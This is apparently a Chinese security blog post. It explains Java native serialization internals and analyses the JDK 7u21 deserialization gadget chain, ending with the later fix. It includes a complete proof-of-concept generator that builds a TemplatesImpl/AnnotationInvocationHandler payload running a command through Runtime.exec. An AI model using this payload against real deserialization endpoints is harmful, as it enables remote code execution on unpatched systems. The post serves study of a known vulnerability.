深入 Java 原生反序列化 & JDK7u21 利用链分析

本篇梳理了 Java 原生反序列化相关知识,同时分析了 JDK 7u21利用链

Serialization and Deserialization

参考网上文章梳理了一些序列化和反序列化的细节

Java 序列化将一个对象转换为二进制,反序列化将一个二进制恢复成对象

首先看一下序列化之后到底有什么内容被写入了二进制数据

public class SerializationDemo implements Serializable {
private String stringField;
private int intField;

public SerializationDemo(String s, int i) {
this.stringField = s;
this.intField = i;
}

public static void main(String[] args) throws IOException {
ObjectOutputStream oops = new ObjectOutputStream(new FileOutputStream("./serializable.ser"));
oops.writeObject(new SerializationDemo("Min", new Random().nextInt(20)));
}
}

SerializationDumper

STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
TC_OBJECT - 0x73
TC_CLASSDESC - 0x72
className
Length - 51 - 0x00 33
Value - com.p2hm1n.deserialization.basics.SerializationDemo - 0x636f6d2e7032686d316e2e646573657269616c697a6174696f6e2e6261736963732e53657269616c697a6174696f6e44656d6f
serialVersionUID - 0xf1 6f 46 2a 38 38 6b 46
newHandle 0x00 7e 00 00
classDescFlags - 0x02 - SC_SERIALIZABLE
fieldCount - 2 - 0x00 02
Fields
0:
Int - I - 0x49
fieldName
Length - 8 - 0x00 08
Value - intField - 0x696e744669656c64
1:
Object - L - 0x4c
fieldName
Length - 11 - 0x00 0b
Value - stringField - 0x737472696e674669656c64
className1
TC_STRING - 0x74
newHandle 0x00 7e 00 01
Length - 18 - 0x00 12
Value - Ljava/lang/String; - 0x4c6a6176612f6c616e672f537472696e673b
classAnnotations
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_NULL - 0x70
newHandle 0x00 7e 00 02
classdata
com.p2hm1n.deserialization.basics.SerializationDemo
values
intField
(int)10 - 0x00 00 00 0a
stringField
(object)
TC_STRING - 0x74
newHandle 0x00 7e 00 03
Length - 3 - 0x00 03
Value - Min - 0x4d696e
  • 0xaced,魔术头
  • 0x0005,版本号 (JDK主流版本一致,下文如无特殊标注,都以JDK8u为例)
  • 0x73,对象类型标识 0x7n基本上都定义了类型标识符常量,但也要看出现的位置,毕竟它们都在可见字符的范围,详见java.io.ObjectStreamConstants
  • 0x72,类描述符标识
  • 0x0033...,类名字符串长度和值 (Java序列化中的UTF8格式标准)
  • 0xf16f462a38386b46,序列版本唯一标识 serialVersionUID,简称SUID)
  • 0x02,对象的序列化属性标志位,如是否是Block Data模式、自定义writeObject()SerializableExternalizableEnum类型等
  • 0x0002,类的字段个数
  • 0x49,整数类型签名的第一个字节,同理,之后的0x4c为字符串类型签名的第一个字节 (类型签名表示与JVM规范中的定义相同)
  • 0x0008...,字段名字符串长度和值,非原始数据类型的字段还会在后面加上数据类型标识、完整类型签名长度和值
  • 0x78 Block Data结束标识
  • 0x70 父类描述符标识,此处为null
  • 0x0000000a 整数字段intField的值 (Java序列化中的整数格式标准) ,非原始数据类型的字段则会按对象的方式处理,如之后的字符串字段stringField被识别为字符串类型,输出字符串类型标识、字符串长度和值

序列化的执行流程

  1. ObjectOutputStream实例初始化时,将魔术头和版本号写入bout BlockDataOutputStream类型)
  2. 调用 ObjectOutputStream.writeObject()开始写对象数据
    • ObjectStreamClass.lookup()封装待序列化的类描述 (返回ObjectStreamClass类型) ,获取包括类名、自定义serialVersionUID、可序列化字段 (返回ObjectStreamField类型) 和构造方法,以及writeObjectreadObject方法等
    • writeOrdinaryObject()写入对象数据
      • 写入对象类型标识
      • writeClassDesc()进入分支writeNonProxyDesc()写入类描述数据
        • 写入类描述符标识
        • 写入类名
        • 写入SUID (当SUID为空时,会进行计算并赋值,细节见下面关于SerialVersionUID章节)
        • 计算并写入序列化属性标志位
        • 写入字段信息数据
        • 写入Block Data结束标识
        • 写入父类描述数据
      • writeSerialData()写入对象的序列化数据
        • 若类自定义了writeObject(),则调用该方法写对象,否则调用defaultWriteFields()写入对象的字段数据 (若是非原始类型,则递归处理子对象)

反序列化的执行流程

  1. ObjectInputStream实例初始化时,读取魔术头和版本号进行校验
  2. 调用ObjectInputStream.readObject()开始读对象数据
    • 读取对象类型标识
    • readOrdinaryObject()读取数据对象
      • readClassDesc()读取类描述数据
        • 读取类描述符标识,进入分支readNonProxyDesc()
        • 读取类名
        • 读取SUID
        • 读取并分解序列化属性标志位
        • 读取字段信息数据
        • resolveClass()根据类名获取待反序列化的类的Class对象,如果获取失> 败,则抛出ClassNotFoundException
        • skipCustomData()循环读取字节直到Block Data结束标识为止
        • 读取父类描述数据
        • initNonProxy()中判断对象与本地对象的SUID和类名 (不含包名) 是否相同,若不同,则抛出InvalidClassException
      • ObjectStreamClass.newInstance()获取并调用离对象最近的非Serializable的父类的无参构造方法 (若不存在,则返回null 创建对象实例
      • readSerialData()读取对象的序列化数据
        • 若类自定义了readObject(),则调用该方法读对象,否则调用defaultReadFields()读取并填充对象的字段数据

补充一个细节是在进行反序列化的过程中这里进行了判断

如果满足 hasReadObjectMethod 的条件,会调用 invokeReadObject

引用 @l1nk3r 师傅的总结

是否重写了 readObject 影响的是 slotDesc.hasReadObjectMethod() 的结果

如果反序列化的过程中被反序列化类重写了 readObject ,该数据在反序列化的过程中核心流程走到 readSerialData 方法中的 slotDesc.invokeReadObject 方法,通过反射机制触发相关流程,并且调用重写的 readObject 。如果没有重写 readObject ,则调用 ObjectInputStream 类中的 readObject 方法,并且执行反序列化

同时补一张流程图

更为详细的流程分析可以看以下文章:

Java反序列化过程深究

Java原生序列化与反序列化代码简要分析

浅析Java序列化和反序列化

JDK 7u21 Gadget Chain

Basics

大致几点可以看一下 @天融信阿尔法实验室 这个脑图

CC 中我们也用到了通过 javassist 构造 Static Initializers,回顾我们之前构造调用 TemplatesImpl#newTransformer 结合 javassist 实现的一个 RCE 的 demo,当时的思路是用 IvokerTransformer#transform 去触发 TemplatesImpl#newTransformer 来达到 RCE

回看 TemplatesImpl 其他方法,其实调用了 TemplatesImpl#newTransformer 的也能 RCE,比如我们这里 TemplatesImpl#getOutputProperties

由此我们实现第一个 RCE demo

Level-0 demo

public class CommandDemo {
public static void main(String[] args) throws Exception {
// javassist fake Code
templates.getOutputProperties();
}

另一个需要关注的点是 hashCode 的一个小 trick,f5a5a608 的 hashCode 值为 0

Gadget chain

看一下 javax.xml.transform.Templates ,里面有两个方法都是我们想调用的,意味着只要能循环打印这个 interface 的方法,并在某个类调用这个方法,我们即可 RCE

再结合同样在 CC 中用过的 AnnotationInvocationHandler 和动态代理,我们可以实现第二个 RCE demo

Level-1 demo

public class CommandDemo {
public static void main(String[] args) throws Exception {
// javassist fake Code
// proxy fake Code
proxy.equals(templates);
}

从正向思维来看,先谈一下为什么要用 equals 来触发

核心原因是动态代理触发 AnnotationInvocationHandler#invoke是这些 if 判断和参数附值。可以看出来 var4 需要等于 equals,也就是我们需要调用这个方法才行,后面的 this.equalsImpl(var3[0]); 是一个关键方法,此时 var3[0] 是我们 POC 中的 equals传入的参数,也就是 templates

AnnotationInvocationHandler#equalsImpl 这里会循环遍历 javax.xml.transform.Templates 中的方法,被我们传入的 templates 调用

image-20210214175058607

后续寻找调用链要找到可以传入一个 proxy,同时调用 equals 方法,而且还能传入参数的地方

这里看一下 LinkedHashSet,其继承自 HashSet ,因为我们要找到满足调用链的方法,LinkedHashSet 是有序的所以这里使用它,构造方法直接调用自父类

其实现序列化和反序列化的逻辑也都存在在父类中,我们之前在 CC 中分析过 HashSet

其反序列化时会恢复键值对,并调用 HashMap 的 put 方法,将其放入 HashMap 中

HashMap#put 是我们调用的关键地方

public V put(K key, V value) {
// 判断 key 是否为null
if (key == null)
return putForNullKey(value);
// 计算 key 的 hash
int hash = hash(key);
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
}

modCount++;
addEntry(hash, key, value, i);
return null;
}

核心语句为 if (e.hash == hash && ((k = e.key) == key || key.equals(k))) ,这里 key.equals(k) 是我们反序列化 POC 想调用的一个结构

因此根据逻辑运算符的短路特性,我们需要满足第一个条件,需要不满足第二个条件,那么才会调用到第三个条件

这里会有两次循环,先看第一次循环,第一次循环,key 为我们的 POC 的 testTarget.add(templates); 的 TemplatesImpl 对象,由于当前 table 变量指向的 Entry 对象是空的,所以 e 是为null,因此不满足 for 循环条件,在后面会调用 addEntry 添加进 table,table是一个Entry数组,用来存放我们通过map.put()传入的键值对,并作为后续判断新传入的键值对和旧键值对是否重复的依据

第二次循环为了满足 e != null 那么需要控制 i 的值,使其能从 table 里面取出相应的对象,那么需要控制两次循环中 hash 之后的值相等

先看第一次循环中计算 hash 值

final int hash(Object k) {
int h = 0;
if (useAltHashing) {
if (k instanceof String) {
return sun.misc.Hashing.stringHash32((String) k);
}
h = hashSeed;
}

h ^= k.hashCode();

// This function ensures that hashCodes that differ only by
// constant multiples at each bit position have a bounded
// number of collisions (approximately 8 at default load factor).
h ^= (h >>> 20) ^ (h >>> 12);
return h ^ (h >>> 7) ^ (h >>> 4);
}

第二次循环计算 hash 值时,由于代理对象没有 hashCode 方法,会相应调用反射来解决,最终调用到 AnnotationInvocationHandler#hashCodeImpl

hashCodeImpl:294, AnnotationInvocationHandler (sun.reflect.annotation)
invoke:64, AnnotationInvocationHandler (sun.reflect.annotation)
hashCode:-1, $Proxy1 (com.sun.proxy)
hash:351, HashMap (java.util)

此时的var2是一个Iterator对象,用来遍历memberValues对象中存储的键值对,可以看到memberValues中只有一个键值对就是,就是我们在初期通过反射生成 AnnotationInvocationHandler 对象时传入的 HashMap 对象中的那个键值对

key是一个字符串”f5a5a608”

Value值是和第一次循环时用来计算hash值的同一个TemplatesImpl对象

看一下具体 hash 值的计算

var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())

具体分为了两段

  1. 127 * ((String)var3.getKey()).hashCode()
  2. memberValueHashCode(var3.getValue()

第二段由于 Value 为计算hash值的同一个TemplatesImpl对象,因此计算出来跟之前的相等

一个小 trick 是:0和任何数字进行异或,得到的结果都是被异或数本身

那么只要控制第一段结果为 0 ,那么算出来异或值不变,那么结合我们之前说的trick,var3 此刻的 key 为 f5a5a608,因此跟任何数相乘都为 0

回到我们 HashMap#putif (e.hash == hash && ((k = e.key) == key || key.equals(k)))

第一个判断为 hash 判断,我们刚刚通过构造已经让其相等了

第二个判断将第一次循环时的 key 取出和第二次循环时的 key 比较,第一次循环的key是TemplatesImpl对象,而第二次循环时 key 为 Proxy 对象,所以结果为flase

最后调用 key.equals(k),这里的 key 为第二次循环的,k 为第一次循环的,因此总结了需要使用一个有序的HashSet,也就是我们的 LinkedHashSet。这样才能保证我们的调用先后

JDK 7u21 payload

public class CommandDemo {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("TestDemo");
String cmd = "java.lang.Runtime.getRuntime().exec(\"/Applications/Calculator.app/Contents/MacOS/Calculator\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
// 进入 defineTransletClasses() 方法需要的条件
setFieldValue(templates, "_name", "TestDemo");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

Map testMap = new HashMap();
Constructor aih_construct = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
aih_construct.setAccessible(true);
InvocationHandler testHandler = (InvocationHandler) aih_construct.newInstance(Override.class, testMap);
setFieldValue(testHandler, "type", Templates.class);
Templates proxy = (Templates) Proxy.newProxyInstance(InvocationHandler.class.getClassLoader(), new Class[]{Templates.class}, testHandler);
// proxy.equals(templates);
String magicStr = "f5a5a608";
HashSet testTarget = new LinkedHashSet();
testTarget.add(templates);
testTarget.add(proxy);
testMap.put(magicStr, templates);

ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(testTarget);
oos.close();

System.out.println(bos);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
ois.readObject();
}

public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null) {
field = getField(clazz.getSuperclass(), fieldName);
}
}
return field;
}
}

利用链

Gadget Chain
LinkedHashSet.readObject()
LinkedHashSet.add()
...
TemplatesImpl.hashCode() (X)
LinkedHashSet.add()
...
Proxy(Templates).hashCode() (X)
AnnotationInvocationHandler.invoke() (X)
AnnotationInvocationHandler.hashCodeImpl() (X)
String.hashCode() (0)
AnnotationInvocationHandler.memberValueHashCode() (X)
TemplatesImpl.hashCode() (X)
Proxy(Templates).equals()
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.equalsImpl()
Method.invoke()
...
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
ClassLoader.defineClass()
Class.newInstance()
...
MaliciousClass.<clinit>()
...
Runtime.exec()

FIX

7u80版本

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}

this.type 进行了校验必须为 Annotation.class,同时增加了异常抛出,会导致我们反序列化的失败

7u25-b01、7u25-b02尚未如此修补,341行处仍在return。有些文章说修补方案是检
查了AnnotationInvocationHandler.type,估计他们是根据抛出的异常这么说的。事
实上对AnnotationInvocationHandler.type的检查一直存在,要求type与
java.lang.annotation.Annotation有派生、继承、实现关系,但7u25-b03之前发现
问题后抛出的异常被341行的catch捕捉之后没有继续抛异常,而是return了

后续 JRE8u20 对此进行了绕过,通过构造畸型序列化数据,使得针对 AnnotationInvocationHandler.type 的检查被命中时所抛出的异常被 BeanContextSupport.readChildren() 中的 try/catch 块捕获并 continue,但构造过于复杂,且没有新的 gadget,因此不在本文探讨范围内

REF

https://xz.aliyun.com/t/3847

https://github.com/frohoff/ysoserial

http://scz.617.cn/